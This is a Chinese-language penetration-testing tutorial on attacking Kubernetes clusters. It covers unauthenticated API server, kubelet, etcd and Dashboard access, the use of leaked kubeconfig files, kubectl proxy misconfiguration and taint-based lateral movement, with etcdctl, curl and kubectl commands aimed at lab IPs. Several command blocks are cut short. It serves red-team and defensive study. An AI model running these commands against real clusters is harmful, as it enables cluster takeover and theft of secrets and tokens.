云攻防-K8S安全
云攻防-K8S安全
Kubernetes 是一个开源的,用于编排云平台中多个主机上的容器化的应用,目标是让
部署容器化的应用能简单并且高效的使用,提供了应用部署,规划,更新,维护的一种机
制。其核心的特点就是能够自主的管理容器来保证云平台中的容器按照用户的期望状态运
行着,管理员可以加载一个微型服务,让规划器来找到合适的位置,同时,Kubernetes
在系统提升工具以及人性化方面,让用户能够方便的部署自己的应用。
参考:
https://blog.csdn.net/qq_34101364/article/details/122506768
K8S 集群攻击点
随着越来越多企业开始上云的步伐,在攻防演练中常常碰到云相关的场景,例:公有云、
私有云、混合云、虚拟化集群等。以往渗透路径「外网突破 -> 提权 -> 权限维持 -> 信息收
集 -> 横向移动 -> 循环收集信息」,直到获得重要目标系统。但随着业务上云以及虚拟化技
术的引入改变了这种格局,也打开了新的入侵路径,例如:
1、通过虚拟机攻击云管理平台,利用管理平台控制所有机器
2、通过容器进行逃逸,从而控制宿主机以及横向渗透到 K8s Master 节点控制所有容器
3、利用 KVM-QEMU / 执行逃逸获取宿主机,进入物理网络横向移动控制云平台
目前互联网上针对云原生场景下的攻击手法零零散散的较多,仅有一些厂商发布过相关矩
阵技术,但没有过多的细节展示,本文基于微软发布的 Kubernetes 威胁矩阵进行扩展,介绍相关的具体攻击方法。
参考:
https://mp.weixin.qq.com/s/yQoqozJgP8F-ad24xgzIPw
https://mp.weixin.qq.com/s/QEuQa0KVwykrMzOPdgEHMQ
cat /proc/1/cgroup // 查看是否存在 K8S
一,api 未授权访问
1, 攻击 8080 端口
API Server 未授权访问旧版本的 k8s 的 API Server 默认会开启两个端口:8080 和 6443。6443 是安全端口,安全端口使用 TLS 加密;但是 8080 端口无需认证,仅用于测试。6443 端口需要认证,且有 TLS 保护。(k8s<1.16.0) 新版本 k8s 默认已经不开启 8080。需要更改相应的配置
1 | cd /etc/kubernetes/manifests/ |
1 | kubectl.exe -s 192.168.139.130:8080 get nodes |
test.yaml 中的内容
2、攻击 6443 端口
API Server 未授权访问一些集群由于鉴权配置不当,将”system:anonymous” 用户绑定到”cluster-admin” 用户组,从而使 6443 端口允许匿名用户以管理员权限向集群内部下发指令。
1 | kubectl create clusterrolebinding system:anonymous |
攻击时访问 6443 端口,存在此情况那么可以尝试攻击
1 | -创建恶意 pods |
1 | -连接判断pods |
操作与上面一样,写入反弹 shell
3,攻击 10250 端口:kubelet 未授权访问
与 API Server 类似,Kubelet 也运行着 API 服务,默认服务端口为 10250 和 10248
Kubelet 存在的风险主要也是未授权访问,如果 Kubelet 存在未授权访问,就可以控制所在节点的权限。
条件:
1 | /var/lib/kubelet/config.yaml |
访问页面时,存在此数据代表存在漏洞
利用执行命令,需要利用三个参数:
namespace,pod,container
访问 https://192.168.139.132:10250/runningpods
使用谷歌 FeHelper 插件可以将 json 数据更加直观的看到
执行模板:
1 | curl -X POST -k "https://192.168.139.132:10250/run/<namespace>/<pod>/<container>" -d "cmd=id" |
构造触发:
1 | https://192.168.139.132:10250/run/default/test02/test02 |
二,etcd 未授权访问(利用条件苛刻)
默认通过证书认证,主要存放节点的数据,如一些 token 和证书。
第一种:没有配置指定–client-cert-auth 参数打开证书校验,暴露在外 etcd 服务存在未授权访问风险。
- 暴露外部可以访问,直接未授权访问获取 secrets 和 token 利用
第二种: 在打开证书校验选项后,通过本地 127.0.0.1:2379 可免认证访问 Etcd 服务,但通过其他地址访问要携带 cert 进行认证访问,一般配合 ssrf 或其他利用,较为鸡肋。
- 只能本地访问,直接未授权访问获取 secrets 和 token 利用
第三种: 实战中在安装 k8s 默认的配置 2379 只会监听本地,如果访问没设置 0.0.0.0 暴露,那么也就意味着最多就是本地访问,不能公网访问,只能配合 ssrf 或其他。
- 只能本地访问,利用 ssrf 或其他进行获取 secrets 和 token 利用
复现利用:
暴露 etcd 未授权 -> 获取 secrets&token-> 通过 token 访问 API-Server 接管
SSRF 解决限制访问 -> 获取 secrets&token-> 通过 token 访问 API-Server 接管
V2/v3 版本利用参考:https://www.cnblogs.com/qtzd/p/k8s etcd.html
启动:kubectl createf recommended.yaml
V2 版本利用:
直接访间 http://ip:2379/v2/keys/?recursive=true,可以看到所有的 key-value 值。(secrets token)
V3 版本利用:
1、连接提交测试
1 | ./etcdctl --endpoints=192.168.139.136:23791 get / --prefix |
2、获取 k8s 的 secrets:
1 | ./etcdctl --endpoints=192.168.139.136:23791 get / --prefix--keys-only | grep /secrets/ |
3、读取 service account token:.
1 | ./etcdctl --endpoints=192.168.139.136:23791 get /--prefix --keys-only | grep /secrets/kube-system/clusterrole |
4、通过 token 访问 API-Server,获取集群的权限:
1 | kubectl --insecure-skip-tls-verify-s https://127.0.0.1:6443/ -token="ey..." -n kube-system get pods |
三,Dashboard 未授权访问
默认端口:8001
配置不当导致 dashboard 未授权访问,通过 dashboard 我们可以控制整个集群。kubernetes dashboard 的未授权其实分两种情况:
一种是在本身就存在着不需要登录的 http 接口,但接口本身并不会暴露出来,如接口被暴露在外,就会导致 dashboard 未授权。另外一种情况则是开发嫌登录麻烦,修改了配置文件,使得安全接口 https 的 dashboard 页面可以跳过登录。
漏洞复现:
用户开启 enable-skip-login 时可以在登录界面点击跳过登录进 dashboard*
Kubernetes-dashboard 绋定 cluster-admin (拥有管理集群的最高权限)
启动:kubectl createf recommended.yaml
进入页面后,登录旁都 Skip, 可跳过登录直接进入
后逃逸方法与上面类似
五,Configfile 鉴权文件泄漏
攻击者通过 webshell、Github 等拿到了 K8s 配置的 Config 文件,操作集群,从而接管所有容器。K8s configfile 作为 K8s 集群的管理凭证,其中包含有关 K8s 集群的详细信息 (API Server、登录凭证)。如果攻击者能够访问到此文件 (如办公网员工机器入侵、泄露到 Github 的代码等),就可以直接通过 API Server 接管 K8s 集群,带来风险隐患。用户凭证保存在 kubeconfig 文件中,通过以下顺序来找到 kubeconfig 文件:
1,如果提供了–kubeconfig 参数,就使用提供的 kubeconfig
2,文件如果没有提供–kubeconfig 参数,但设置了环境变量 SKUBECONFIG,则使用该环境变量提供的 kubeconfig 文件
3,如果以上两种情况都没有,kubectl 就使用默认的 kubeconfig 文件
~/.kube/config
1,使用 config 文件连接:
kubectl -s https://192.168.139.130:6443/ –kubeconfig=config –insecure-skip-tls-verify=true get nodes
2、上传利用 test.yaml 创建 pod
1 | kubectl apply -f test.yaml -n default--kubeconfig=config |
3,连接 pod 后进行容器挂载逃逸
1 | kubectl exec -it test bash -n default--kubeconfig=config |
六,Kubectl Proxy 不安全配置
当运维人员需要某个环境暴露端口或者 IP 时,会用到 Kubectl Proxy,使用 kubectl proxy 命令就可以使 API server 监听在本地的 xxxx 端口上
环境搭建:
1 | kubectl--insecure-skip-tls-verify proxy-accept-hosts=^.*$ --address=0.0.0.0 --port=8009 |
七,K8S 的污点横向移动
在 K8S 中,利用污点(Taint)进行横向移动渗透是指攻击者通过操纵或绕过集群中的污点和容忍(Toleration)机制,将恶意负载(Pod)调度到原本受保护的节点上,从而突破隔离并进一步渗透集群。污点和容忍是 K8S 的合法功能,设计目的是增强安全性。问题通常源于错误的权限分配(如过宽的 RBAC 策略)或不安全的容忍配置(如 Pod 容忍所有污点)。
设置污点:
1 | 设置污点: |
通过以下命令查看节点上的污点设置:
1 | kubectl describe node <节点名称> |
查看是否存在污点:
1 | kubectl describe node | grep 'Taints' |
容忍(Toleration)
容忍是 Pod 上设置的属性,允许 Pod 被调度到带有特定污点的节点。
创建带有容忍参数的 Pod (必要时可以修改 Yaml 使 Pod 增加到特定的 Node 上去)
1 | 通过cat写入1.yaml配置文件 |
1 | 创建Pod |
获得 Master 控制端
1 | kubectl exec control-master-15 -it bash |